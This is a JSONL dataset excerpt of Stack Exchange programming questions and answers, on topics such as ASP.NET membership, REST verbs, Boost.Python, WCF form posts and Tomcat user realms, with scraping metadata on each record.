"tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:47.577113"}
{"id": "hf_f4c7a26f20f8", "question": "<p>How can I access <code>UserId</code> in ASP.NET Membership without using <code>Membership.GetUser(username)</code> in ASP.NET Web Application Project?</p>\n\n<p>Can <code>UserId</code> be included in <code>Profile</code> namespace next to <code>UserName</code> (<code>System.Web.Profile.ProfileBase</code>)?</p>\n", "question_body": "", "answer": "Is your reason for this to save a database call everytime you need the UserId? If so, when I'm using the ASP.NET MembershipProvider, I usually either do a custom provider that allows me to cache that call, or a utility method that I can cache.\nIf you're thinking of putting it in the Profile, I don't see much reason for doing so, especially as it also will still require a database call and unless you are using a custom profile provider there, it has the added processing of parsing out the UserId.\nIf you're wondering why they did not implement a GetUserId method, it's simply because you're not always guaranteed that that user id will be a GUID as in the included provider.\nEDIT:\nSee\nScottGu's article on providers\nwhich provides a\nlink to downloading the actual source code for i.e. SqlMembershipProvider\n.\nBut the simplest thing to do really is a GetUserId() method in your user object, or utility class, where you get the UserId from cache/session if there, otherwise hit the database, cache it by username (or store in session), and return it.\nFor something more to consider (but be very careful because of cookie size restrictions):\nForms Auth: Membership, Roles and Profile with no Providers and no Session", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:47.600966"}
{"id": "hf_820929c11aca", "question": "<p>Is there any way to see an overview of what kind of queries are spent the most time on every day on MySQL?</p>\n", "question_body": "", "answer": "You can always set up query logging as described here:\nhttp://dev.mysql.com/doc/refman/5.0/en/query-log.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:47.665339"}
{"id": "hf_dde322cb739a", "question": "<p>I have the following problem:</p>\n\n<p>I have an HTML textbox (<code>&lt;input type=\"text\"&gt;</code>) whose contents are modified by a script I cannot touch (it is my page, but i'm using external components).</p>\n\n<p>I want to be notified in my script every time the value of that textbox changes, so I can react to it.</p>\n\n<p>I've tried this:</p>\n\n<pre><code>txtStartDate.observe('change', function() { alert('change' +  txtStartDate.value) });\n</code></pre>\n\n<p>which (predictably) doesn't work. It only gets executed if I myself change the textbox value with the keyboard and then move the focus elsewhere, but it doesn't get executed if the script changes the value.</p>\n\n<p>Is there another event I can listen to, that i'm not aware of?</p>\n\n<p><br /><br /></p>\n\n<p>I'm using the Prototype library, and in case it's relevant, the external component modifying the textbox value is Basic Date Picker (www.basicdatepicker.com) </p>\n", "question_body": "", "answer": "As you've implied, change (and other events) only fire when the user takes some action. A script modifying things won't fire any events.  Your only solution is to find some hook into the control that you can hook up to your listener.\nHere is how I would do it:\n```\n```\nbasicDatePicker.selectDate = basicDatePicker.selectDate.wrap(function(orig,year,month,day,hide) {\n  myListener(year,month,day);\n  return orig(year,month,day,hide);\n});\n```\n```\nThat's based on a cursory look with Firebug (I'm not familiar with the component). If there are other ways of selecting a date, then you'll need to wrap those methods as well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:47.688358"}
{"id": "hf_7425ff27c329", "question": "<p>I'm writing some semi-portable code and want to be able to detect when I'm compiling for iPhone. So I want something like <code>#ifdef IPHONE_SDK...</code>. </p>\n\n<p>Presumably Xcode defines something, but I can't see anything under project properties, and Google isn't much help.</p>\n", "question_body": "", "answer": "It's in the SDK docs under \"Compiling source code conditionally\"\nThe relevant definitions are TARGET_OS_IPHONE (and he deprecated TARGET_IPHONE_SIMULATOR), which are defined in /usr/include/TargetConditionals.h within the iOS framework. On earlier versions of the toolchain, you had to write:\n```\n```\n#include \"TargetConditionals.h\"\n```\n```\nbut this is no longer necessary on the current (xCode 6/iOS8) toolchain.\nSo, for example, if you want to only compile a block of code if you are building for the device, then you should do\n```\n```\n#if !(TARGET_OS_SIMULATOR)\n...\n#endif\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:47.805593"}
{"id": "hf_0aa493e009a6", "question": "<p>One of my nasty (?) programming habits in C++ and Java is to always precede calls or accesses to members with a <code>this</code>. For example: <code>this.process(this.event)</code>.</p>\n\n<p>A few of my students commented on this, and I'm wondering if I am teaching bad habits. </p>\n\n<p>My rationale is:</p>\n\n<ol>\n<li>Makes code more readable — Easier to distinguish fields from local variables.</li>\n<li>Makes it easier to distinguish standard calls from static calls (especially in Java)</li>\n<li>Makes me remember that this call (unless the target is final) could end up on a different target, for example in an overriding version in a subclass.</li>\n</ol>\n\n<p>Obviously, this has zero impact on the compiled program, it's just readability. So am I making it more or less readable?</p>\n\n<p>Note: I turned it into a CW since there really isn't a correct answer.</p>\n", "question_body": "", "answer": "I think it's less readable, especially in environments where fields are highlighted differently from local variables.  The only time I want to see \"this\" is when it is required, for example:\n```\n```\nthis.fieldName = fieldName\n```\n```\nWhen assigning the field.\nThat said, if you need some way to differentiate fields for some reason, I prefer \"this.fieldName\" to other conventions, like \"m_fieldName\" or \"_fieldName\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:47.830086"}
{"id": "hf_56f28d7f58ef", "question": "<p>When you create a new web user control in visual studio it by default adds the Page_Load event.  What is the advantage to using this rather than overriding the base <code>OnLoad</code> event on the control?  Is it just that the <code>Page_Load</code> event fires before <code>OnLoad</code>?</p>\n", "question_body": "", "answer": "The\n```\nOnLoad\n```\nmethod should be the place where the\n```\nLoad\n```\nevent is raised.  I personally always try to handle the event unless I need to do extra processing around raising the event.\nI recommend handling the event itself under normal circumstances.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:47.878101"}
{"id": "hf_1d9c2ae99084", "question": "<p>Is there a way to have Visual Studio 2008 automatically add heading information to files? For example, \"Copyright 2008\" or something along those lines. I've been digging through the options, but nothing seems to be jumping out at me.</p>\n", "question_body": "", "answer": "I assume you'd like to modify the class file templates.  They're in:\n```\n```\n%ProgramFiles%\\Microsoft Visual Studio 9.0\\Common7\\IDE\\ItemTemplates\\CSharp\\Code\\1033\n```\n```\nMore specific details here", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:47.902193"}
{"id": "hf_1bb872e64147", "question": "<p>In other words, is it correct to use:</p>\n\n<pre><code>public class CustomerList : System.Collections.Generic.List&lt;Customer&gt;\n{\n    /// supposed to be empty\n}\n</code></pre>\n\n<p>instead of:</p>\n\n<pre><code>using CustomerList = System.Collections.Generic.List&lt;Customer&gt;\n</code></pre>\n\n<p>I'd rather use the first approach because I'd just define CustomerList once, and every time I needed a customer list I'd always use the same type. On the other hand, using the name aliasing approach not only forces me to have to redefine it everywhere, but also a different alias could be given every time someone wanted to use it (think of a big team), and thus cause the code to be less readable.</p>\n\n<p>Please note that the intention in this case would never be to extend the class, just to create an alias.</p>\n", "question_body": "", "answer": "well, unless you are adding some functionality to the base class there is no point in creating a wrapper object.  I would go with number two if you really need to, but why not just create a variable?\n```\n```\nList<Customer> customerList = new List<Customer>();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:47.925569"}
{"id": "hf_96028f953c8a", "question": "<p>I am programming a UNIX shell and I have to use the <code>execv()</code> system call to create a process.\nOne of the parameters for <code>execv()</code> is the filepath for the executable.  So if somebody types in <code>/bin/ls</code>, it will run the <code>ls</code> executable.  But what I need is a function such that when <code>ls</code> is typed, it will search for the filepath of <code>ls</code> (like the <code>which</code> command).  Is there a function which allows me to do that?</p>\n<p>Unfortunately, this is a school project and I am not allowed to use <code>execvp()</code>. I need to implement some path searching function and then add that filepath to the <code>execv()</code> parameter.</p>\n", "question_body": "", "answer": "I think execvp() does what you need.\nEdit:\nSo you're actually asking how to do this manually? In that case...\nFind your PATH in envp (3rd argument to main())\nSplit this into individual paths\nCheck for your program's existance in each of these with stat()\nExecute the first one you find to exist\nOr if you want a\nreally\nsolid implementation, use\nthis\n. It might set off the plagarism detectors though :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:47.960826"}
{"id": "hf_2448f5a22f4f", "question": "<p>Does iPhone support XML-RPC, Is their any open source framework which I can use?</p>\n", "question_body": "", "answer": "Checkout the source for the wordpress app.  They might be using XML-RPC. :)\nhttp://iphone.wordpress.org/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:47.984722"}
{"id": "hf_a2aa14fa34ae", "question": "<p>I'm not asking this question because of the merits of garbage collection first of all.  My main reason for asking this is that I do know that Bjarne Stroustrup has said that C++ will have a garbage collector at some point in time.</p>\n\n<p>With that said, why hasn't it been added?  There are already some garbage collectors for C++.  Is this just one of those \"easier said than done\" type things?  Or are there other reasons it hasn't been added (and won't be added in C++11)?</p>\n\n<p>Cross links:</p>\n\n<ul>\n<li><a href=\"https://stackoverflow.com/questions/81062/garbage-collectors-for-c\">Garbage collectors for C++</a></li>\n</ul>\n\n<p>Just to clarify, I understand the reasons why C++ didn't have a garbage collector when it was first created.  I'm wondering why the collector can't be added in.</p>\n", "question_body": "", "answer": "What type? should it be optimised for embedded washing machine controllers, cell phones, workstations or supercomputers?\nShould it prioritise gui responsiveness or server loading?\nshould it use lots of memory or lots of CPU?\nC/c++ is used in just too many different circumstances.\nI suspect something like boost smart pointers will be enough for most users\nEdit - Automatic garbage collectors aren't so much a problem of performance (you can always buy more server) it's a question of predicatable performance.\nNot knowing when the GC is going to kick in is like employing a narcoleptic airline pilot, most of the time they are great - but when you really need responsiveness!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:48.098169"}
{"id": "hf_9e4c5d860016", "question": "<p>I am trying to understand some assembly.</p>\n\n<p>The assembly as follows, I am interested in the <code>testl</code> line:</p>\n\n<pre><code>000319df  8b4508        movl   0x08(%ebp), %eax  \n000319e2  8b4004        movl   0x04(%eax), %eax  \n000319e5  85c0          testl  %eax, %eax  \n000319e7  7407          je     0x000319f0  \n</code></pre>\n\n<p>I am trying to understand that point of <code>testl</code> between <code>%eax</code> and <code>%eax</code>? I think the specifics of what this code isn't important, I am just trying to understand the test with itself - wouldn't the value always be true?</p>\n", "question_body": "", "answer": "It tests whether\n```\neax\n```\nis 0, or above, or below. In this case, the jump is taken if\n```\neax\n```\nis 0.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:48.158409"}
{"id": "hf_bd0fbcde97fb", "question": "<p>What web app architecture works well receiving/sending SMS text messages? By \"architecture, I mean specific architecture, not generally, such as MVC.</p>\n\n<p>Background: I'm building a web app that receives queries from/sends answers to cell phones. The app design (and business model) expects to communicate with cell devices via SMS text messages. IOW: There is no MVC web page \"view\". The cell phone screen is effectively the \"view\".</p>\n", "question_body": "", "answer": "This depends on how you will be receiving and sending the SMS messages.\nThere is a specific Short message protocol (SMPP -\nhttp://en.wikipedia.org/wiki/SMPP\n).\nFor that you will need an SMPP server.\nIf you are using a one of the various SMS over HTTP providers (such as Clickatell -\nhttp://www.clickatell.com\n), then a web framework such as RoR is fine as both the sending and receiving of SMS messages are actually web requests.\nIn this case your system view is the HTTP response to the gateway, not the cellphone screen. There are actually quite a few steps involved:\n```\nCellphone -> Cellular Network -> Gateway -> Your Service\n```\nand the reply:\n```\nCellphone <- Cellular Network <- Gateway <- Your Service\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:48.219468"}
{"id": "hf_e831bcac0a0f", "question": "<p>What is the practical benefit of using HTTP GET, PUT, DELETE, POST, HEAD? Why not focus on their behavioral benefits (safety and idempotency), forgetting their names, and use GET, PUT or POST depending on which behavior we want?</p>\n\n<p><strong>Why shouldn't we only use GET, PUT and POST (and drop HEAD, DELETE)?</strong></p>\n", "question_body": "", "answer": "The [REST][1] approach uses POST, GET, PUT and DELETE to implement the CRUD rules for a web resource.  It's a simple and tidy way to expose objects to requests on the web.  It's web services without the overheads.\nJust to clarify the semantic differences.  Each operation is rather different.  The point is to have nice HTTP methods that have clear, distinct meanings.\nPOST creates new objects.  The URI has no key; it accepts a message body that defines the object.  SQL Insert.  [\nEdit\nWhile there's no technical reason for POST to have no key, the REST folks suggest strongly that for POST to have distinct meaning as CREATE, it should not have a key.]\nGET retrieves existing objects. The URI\nmay\nhave a key, depends on whether you are doing singleton GET or list GET.  SQL Select\nPUT updates an existing object.  The URI has a key; It accepts a message body that updates an object.  SQL Update.\nDELETE deletes an existing object.  The URI has a key.  SQL Delete.\nCan you update a record with POST instead of PUT?  Not without introducing some ambiguity.  Verbs should have unambiguous effects.  Further, POST URI's have no key, where PUT must have a key.\nWhen I POST, I expect a 201 CREATED.  If I don't get that, something's wrong.  Similarly, when I PUT, I expect a 200 OK.  If I don't get that, something's wrong.\nI suppose you could insist on some ambiguity where POST does either POST or PUT.  The URI has to be different; also the associated message could be different.  Generally, the REST folks take their cue from SQL where INSERT and UPDATE are different verbs.\nYou could make the case that UPDATE should insert if the record doesn't exist or update if the record does exist.  However, it's simpler if UPDATE means UPDATE and failure to update means something's wrong.  A secret fall-back to INSERT makes the operation ambiguous.\nIf you're not building a RESTful interface, then it's typical to only use GET and POST for retrieve and create/update. It's common to have URI differences or message content differences to distinguish between POST and PUT when a person is clicking submit on a form.   It, however, isn't very clean because your code has to determine if you're in the POST=create case or POST=update case.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:48.242571"}
{"id": "hf_f58df05a1af7", "question": "<p>I'm wondering how you'd implement the following use-case in REST. Is it even possible to do without compromising the conceptual model?</p>\n\n<p>Read or update multiple resources within the scope of a single transaction. For example, transfer $100 from Bob's bank account into John's account.</p>\n\n<p>As far as I can tell, the only way to implement this is by cheating. You could POST to the resource associated with either John or Bob and carry out the entire operation using a single transaction. As far as I'm concerned this breaks the REST architecture because you're essentially tunneling an RPC call through POST instead of really operating on individual resources.</p>\n", "question_body": "", "answer": "You'd have to roll your own \"transaction id\" type of tx management.  So it would be 4 calls:\n```\n```\nhttp://service/transaction (some sort of tx request)\nhttp://service/bankaccount/bob (give tx id)\nhttp://service/bankaccount/john (give tx id)\nhttp://service/transaction (request to commit)\n```\n```\nYou'd have to handle the storing of the actions in a DB (if load balanced) or in memory or such, then handling commit, rollback, timeout.\nNot really a RESTful day in the park.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:48.267177"}
{"id": "hf_4ca8132c7bf9", "question": "<p>Is there a way to hide table rows without affecting the overall table width? I've got some javascript that shows/hides some table rows, but when the rows are set to <code>display: none;</code>, the table with shrinks to fit the contents of the visible rows.</p>\n", "question_body": "", "answer": "If you are looking to preserve the overall width of the table, you can check it prior to hiding a row, and explicitly set the width style property to this value:\n```\n```\ntable.style.width = table.clientWidth + \"px\";\ntable.rows[3].style.display = \"none\";\n```\n```\nHowever, this may cause the individual columns to reflow when you hide the row. A possible way to mitigate this is by adding a style to your table:\n```\n```\ntable {\n  table-layout: fixed;\n }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:48.291813"}
{"id": "hf_45c0268e6a52", "question": "<p>I have a T-SQL <strong>table variable</strong> (not a table) which has an auto incrementing identity column. I want to clear all data from this variable and reset the identity column value to 1. How can this be done?</p>\n", "question_body": "", "answer": "Truncating the table will dump ALL the data, and reset the identity seed.\nOtherwise, you can use this call to reset the identity while retaining any of the data:\n```\n```\nDBCC CHECKIDENT (yourtableName, reseed, @NewStartSeedValue)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:48.316578"}
{"id": "hf_50a7e940327b", "question": "<p>The GetVersions() call to the Versions.asmx web service in SharePoint 2003 returns a localised date format, with no way of determining what the format is. It's the site regional setting of date format, but I can't find a way to get even that out of SharePoint 2003. Locally, it looks like SPRegionalSettings can be used (<a href=\"http://msdn.microsoft.com/en-us/library/microsoft.sharepoint.spregionalsettings.aspx\" rel=\"nofollow noreferrer\">http://msdn.microsoft.com/en-us/library/microsoft.sharepoint.spregionalsettings.aspx</a>) but what about a web service version of this?</p>\n", "question_body": "", "answer": "Sadly, it isn't available. However, you can specify a query option to specify that you want the values returned in UTC:\nhttp://www.sharepointblogs.com/pm4everyone/archive/2006/10/03/sharepoint-2003-querying-with-gmt-datetime.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:48.352681"}
{"id": "hf_63952ebec9c0", "question": "<p>Here's what I am trying to do:  </p>\n\n<pre><code>typedef enum { ONE, TWO, THREE } Numbers;\n</code></pre>\n\n<p>I am trying to write a function that would do a switch case similar to the following: </p>\n\n<pre><code>char num_str[10];\nint process_numbers_str(Numbers num) {\n  switch(num) {\n    case ONE:\n    case TWO:\n    case THREE:\n    {\n      strcpy(num_str, num); //some way to get the symbolic constant name in here?\n    } break;\n    default:\n      return 0; //no match\n  return 1;\n}\n</code></pre>\n\n<p>Instead of defining at every case, is there a way to set it using the enum variable like I am trying to do above?</p>\n", "question_body": "", "answer": "There's no built-in solution. The easiest way is with an array of\n```\nchar*\n```\nwhere the enum's int value indexes to a string containing the descriptive name of that enum. If you have a sparse\n```\nenum\n```\n(one that doesn't start at 0 or has gaps in the numbering) where some of the\n```\nint\n```\nmappings are high enough to make an array-based mapping impractical then you could use a hash table instead.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:48.389057"}
{"id": "hf_2f92a88c77cc", "question": "<p>I currently have heavily multi-threaded server application, and I'm shopping around for a good multi-threaded memory allocator.</p>\n\n<p>So far I'm torn between:</p>\n\n<ul>\n<li>Sun's umem</li>\n<li>Google's tcmalloc</li>\n<li>Intel's threading building blocks allocator</li>\n<li>Emery Berger's hoard</li>\n</ul>\n\n<p>From what I've found hoard might be the fastest, but I hadn't heard of it before today, so I'm skeptical if its really as good as it seems. Anyone have personal experience trying out these allocators?</p>\n", "question_body": "", "answer": "Maybe this is the wrong way to approach what you are asking, but maybe a different tactic could be employed altogether. If you are looking for a really fast memory allocator maybe you should ask why you need to be spending all that time allocating memory when you could perhaps just get away with stack allocation of variables. Stack allocation, while way more annoying, done right could save you lots in the way of mutex contention, as well as keeping strange memory corruption issues out of your code. Also, you potentially have less fragmentation which could help.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:48.412697"}
{"id": "hf_3de8ad625648", "question": "<p>I need to accept form data to a WCF-based service. Here's the interface:</p>\n\n<pre><code>[OperationContract]\n[WebInvoke(UriTemplate = \"lead/inff\",\n    BodyStyle = WebMessageBodyStyle.WrappedRequest)]\nint Inff(Stream input); \n</code></pre>\n\n<p>Here's the implementation (sample - no error handling and other safeguards):</p>\n\n<pre><code>public int Inff(Stream input)\n{\n\n    StreamReader sr = new StreamReader(input);\n    string s = sr.ReadToEnd();\n    sr.Dispose();\n\n    NameValueCollection qs = HttpUtility.ParseQueryString(s);\n    Debug.WriteLine(qs[\"field1\"]);\n    Debug.WriteLine(qs[\"field2\"]);\n\n    return 0;\n}\n</code></pre>\n\n<p>Assuming WCF, is there a better way to accomplish this besides parsing the incoming stream? </p>\n", "question_body": "", "answer": "I remember speaking to you about this at DevLink.\nSince you have to support form fields the mechanics of getting those (what you are currently doing) don't change.\nSomething that might be helpful, especially if you want to reuse your service for new applications that don't require the form fields is to create a channel that deconstructs your stream and repackages it to XML/JSON/SOAP/Whatever and have your form clients communicate with the service through that while clients that don't use forms can use another channel stack. Just an idea...\nHope that helps. If you need help with the channel feel free to let me know.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:48.472634"}
{"id": "hf_649cc70040b6", "question": "<p>In general, what needs to be done to convert a 16 bit Windows program to Win32? I'm sure I'm not the only person to inherit a codebase and be stunned to find 16-bit code lurking in the corners.</p>\n\n<p>The code in question is C.</p>\n", "question_body": "", "answer": "The original win32 sdk had a tool that scanned source code and flagged lines that needed to be changed, but I can't remember the name of the tool.\nWhen I've had to do this in the past, I've used a brute force technique - i.e.:\n1 - update makefiles or build environment to use 32 bit compiler and linker. Optionally, just create a new project in your IDE (I use Visual Studio), and add the files manually.\n2 - build\n3 - fix errors\n4 - repeat 2&3 until done\nThe pain of the process depends on the application you are migrating. I've converted 10,000 line programs in an hour, and 75,000 line programs in less than a week. I've also had some small utilities that I just gave up on and rewrote (mostly) from scratch.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:48.508859"}
{"id": "hf_6bc72e6a46d6", "question": "<p>In one of my ASP.NET Web Applications, I am using a <a href=\"http://blogs.msdn.com/mattdotson/articles/490868.aspx\" rel=\"nofollow noreferrer\">BulkEditGridView</a> (a GridView which allows all rows to be edited at the same time) to implement an order form. In my grid, I have a column which calculates the total for each item (cost x quantity) and a grand total field at the bottom of the page. Currently, however, these fields are only refreshed on every post-back. I need to have these fields updated dynamically so that as users change quantities, the totals and grand total update to reflect the new values. I have attempted to use AJAX solutions to accomplish this, but the asynchronous post-backs interfere with the focus on the page. I imagine that a purely client-side solution exists, and I'm hopeful that someone in the community can share.</p>\n", "question_body": "", "answer": "One solution is to build some javascript in you RowDataBound method to constantly update those totals when the textboxes change.\nSo during the RowDataBound, start building a javascript string in memory that will add up the textboxes you need added. What's nice in RowDataBound is you can get the Client Side id's of these textboxes by calling TextBox.ClientId.\nAdd this javascript to the page, then also add an onkeyup event to each textbox you require to call this script.\nSo something like (this is a row bound event from a gridview)\n```\n```\nprivate string _jscript;\nprotected void gridview_RowDataBound(object sender, GridViewRowEventArgs e)\n{\n   if (e.Row.RowType == DataControlRowType.DataRow)\n   {\n      //Get your textbox\n      Textbox tb = e.Row.FindControl(\"tbAddUp\");\n      //Add the event that you're going to call to this textbox's attributes\n      tb.Attributes.Add(\"onkeyup\", \"MyAddUpJavaScriptMethod();\");\n      //Build the javascript for the MyAddUpJavaScriptMethod\n      jscript += \"document.getElementById('\" + tb.ClientId + '\").value + \";\n   }\n}\n```\n```\nThen once you've built that whole script, use your Page.ClientScript class to add a method to you page which will be called by your onkeyup in your textboxes \"MyAddUpJavaScriptMethod\"\nHope that makes sense and helps", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:48.555783"}
{"id": "hf_9ef4858d2b22", "question": "<p>So, one commonly heard comment when talking about performance is that you write your code with whatever language gets the job done fastest. If performance in specific areas is a problem, then rewrite those bits in C/C++.</p>\n\n<p>But, what if you're starting with a native C++ app? What options do you have if you want to write the easy bits, or refactor the old bits, in a language like Python, Ruby, C#, or whatever? Keep in mind that transferring data between the native and other sides is a must. Being able to simply call a function written in an \"easier\" language, while passing C++ classes as data, would be beautiful.</p>\n\n<p>We've got a crusty Win32 app that would benefit greatly if we could crank out new code, or refactor old code, in C# or something. Very little of it requires the complexity of C++, and dealing with the little fiddly bits is dragging down the programming process. </p>\n", "question_body": "", "answer": "If you want to work between C++ and Python, than\nBoost Python\nis what you're looking for.  You can write C Python bindings by hand for Cython, but that limits in many ways how you're going to write your code.  This is the easiest way, as seen in some snippets from\nthis tutorial\n:\nA simple function that performs a hello world:\n```\n```\nchar const* greet()\n{\n   return \"hello, world\";\n}\n```\n```\nThe Boost python code needed to expose it to python:\n```\n```\n#include <boost/python.hpp>\n\nBOOST_PYTHON_MODULE(hello_ext)\n{\n    using namespace boost::python;\n    def(\"greet\", greet);\n}\n```\n```\nHow to use this code from python:\n```\n```\n>>> import hello_ext\n>>> print hello.greet()\nhello, world\n```\n```\nGoing in the opposite direction is  bit tougher, since python doesn't compile to native code.  You have to embed the python interpreter into your C++ application, but the work necessary to do that is documented\nhere\n.  This is an example of calling the python interpreter and extracting the result (the python interpreter defines the object class for use in C++):\n```\n```\nobject result = eval(\"5 ** 2\");\nint five_squared = extract<int>(result);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:48.603088"}
{"id": "hf_9ad20bcf3adf", "question": "<p>In .NET (VB), how can I take all of the items in one collection, and add them to a second collection (without losing pre-existing items in the second collection)? I'm looking for something a little more efficient than this:</p>\n\n<pre><code>For Each item As Host In hostCollection1\n    hostCollection2.Add(item)\nNext\n</code></pre>\n\n<p>My collections are generic collections, inherited from the base class -- Collection(Of )</p>\n", "question_body": "", "answer": "I know you're asking for VB, but in C# you can just use the constructor of the collection to initialize it with any IEnumerable.  For example:\n```\n```\nList<string> list1 = new List<string>();\nlist1.Add(\"Hello\");\nList<string> list2 = new List<string>(list1);\n```\n```\nPerhaps the same kind of thing exists in VB.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:48.657867"}
{"id": "hf_6ee751578630", "question": "<p>I have a self built JSP webapp and at the moment I'm using tomcats built in admin pannel to manage user accounts (that are stored in tomcats config xml files) but this is limited because i can not create new accounts from within the web-app (eg. I can not have a sign up website) and need to manually create the accounts. </p>\n\n<p>What is the most straight forward way of implementing accounts in a tomcat environment?</p>\n\n<p>dennis</p>\n", "question_body": "", "answer": "Set up a\ndatabase realm in Tomcat\n, either a simple JDBC realm or a DataSource realm that will allow for connection pooling. Then adding users is a very simple CRUD web application, possibly combined with some confirmation emails.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:48.681497"}
